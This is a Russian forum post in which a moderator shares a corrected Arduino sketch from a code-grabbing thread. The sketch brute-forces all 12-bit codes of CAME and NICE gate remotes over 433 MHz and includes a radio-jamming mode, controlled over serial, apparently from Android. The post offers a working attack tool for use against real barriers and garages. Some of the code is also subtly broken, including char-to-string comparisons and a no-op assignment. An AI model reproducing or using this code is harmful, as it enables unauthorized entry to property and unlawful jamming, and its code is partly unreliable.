Модератор
Регистрация: 27.03.2011
Сообщений: 2,322
|
Re: Android + Кодграббер
 |
Цитата: |
 |
|
|
 |
Сообщение от Serg5946 |
 |
|
|
|
|
|
|
добрый вечер скетч не компилируется на последней строчке выдает ошибку
|
|
 |
|
 |
|
Фото ошибки в студию.Экстрасенсов нет здесь
Добавлено через 1 час 30 минут
Если брали код со статьи ,то там синтаксические ошибки при опубликовании кода.Вот поправленый код,у меня скомпилировался в версии arduino ide 1.8.13
 |
Цитата: |
 |
|
|
|
|
|
|
|
// http://phreakerclub.com/1586
#define txPin 8
#define rxd 4
#define BT 3
#define LED 12
unsigned int came_sost = 0;
unsigned int nice_sost = 0;
unsigned int glush_sost = 0;
int var=0,i,ii=0,x,y;;
char incomingByte; // входящие данные
void SendBit(byte b){
if (came_sost == 1) {
x = 640;
y = 320;
} else {
x = 1400;
y = 700;
}
if (glush_sost == 1){
x = 5;
y = 5;
}
if (b) {
digitalWrite(txPin, LOW); // 1
delayMicroseconds(x);
digitalWrite(txPin, HIGH);
delayMicroseconds(y);
}
else {
digitalWrite(txPin, LOW); // 0
delayMicroseconds(y);
digitalWrite(txPin, HIGH);
delayMicroseconds(x);
}
}
void Send_preambula(int preambula){
digitalWrite(txPin, HIGH);
delayMicroseconds(preambula);
digitalWrite(txPin, LOW);
}
void SendPerebor(long Code,unsigned int preambula,unsigned int pilot){
for (int i=0; i<4; i++){ // посылку посылаем 4 раза подряд.
Send_preambula(preambula); // время стартового импульса
for (int i=12; i>0 ;i--){
SendBit(bitRead(Code,i-1)); // побитово перебираем и посылаем код
}
digitalWrite(txPin, LOW);
delayMicroseconds(pilot);
}
}
void nicebrute(){
while(1){
SendPerebor(var, 700, 25200);
var=var+1;
if (var%204 == 0){
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
}
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096){
var=0;
break;
}
}
}
void camebrute(){
while(1){
SendPerebor(var, 320, 11520);
var=var+1;
if (var%204 == 0){ //не удалять
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
}
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096){
var=0;
break;
}
}
}
void initPins(void){
pinMode(rxd,INPUT);
}
void printhex(byte val){
if(val<=0x0F)Serial.print("0");
Serial.print(val,HEX);
}
void setup() {
initPins(); // Настроить входы-выходы
// Настроить трансивер на 433.920 модуляция AM
Serial.begin(9600); // инициализация порта
pinMode(txPin, OUTPUT);
pinMode(LED, OUTPUT);
pinMode(BT, OUTPUT);
randomSeed(analogRead(0));
}
void glush(){
}
void loop() {
digitalWrite(BT, HIGH);
if (Serial.available() > 0) { //если пришли данные
incomingByte = Serial.read(); // считываем байт
if (incomingByte == "C") {
came_sost = 1;
camebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println("C"); // и выводим обратно сообщение
}
if(incomingByte == "Z"){//ответ синхронизацю и передача состояния
Serial.println("Z");
Serial.println("Z");
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
if (came_sost == 1) {
came_sost = 0;
Serial.println("C");
Serial.println("C");
}
if (nice_sost == 1) {
nice_sost = 0;
Serial.println("N");
Serial.println("N");
}
}
if (incomingByte == "N"){ //nice
nice_sost = 1;
nicebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println("N"); // и выводим обратно сообщение
}
if(incomingByte == "G") {//глушилка
digitalWrite(LED, HIGH);
glush_sost = 1;
while (glush_sost){
if (Serial.available() > 0) {
incomingByte = Serial.read();
if(incomingByte == "H") {
glush_sost = 0;
}
}
SendPerebor(var, 10, 10);
var=var+1;
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 10){
var=0;
}
}
}
if(incomingByte == "H") {
digitalWrite(LED, LOW);
glush_sost == 0;
Serial.println("Z");
delay(5);
Serial.println("Z");
}
}
} |
|
 |
|
 |
|
__________________
Правильно поставленный вопрос-на половину полученный ответ;)
++++++++++++++++++++++++++++++++++++++
[url]http://www.youtube.com/watch?v=ktnn-s3ebzw[/url]
|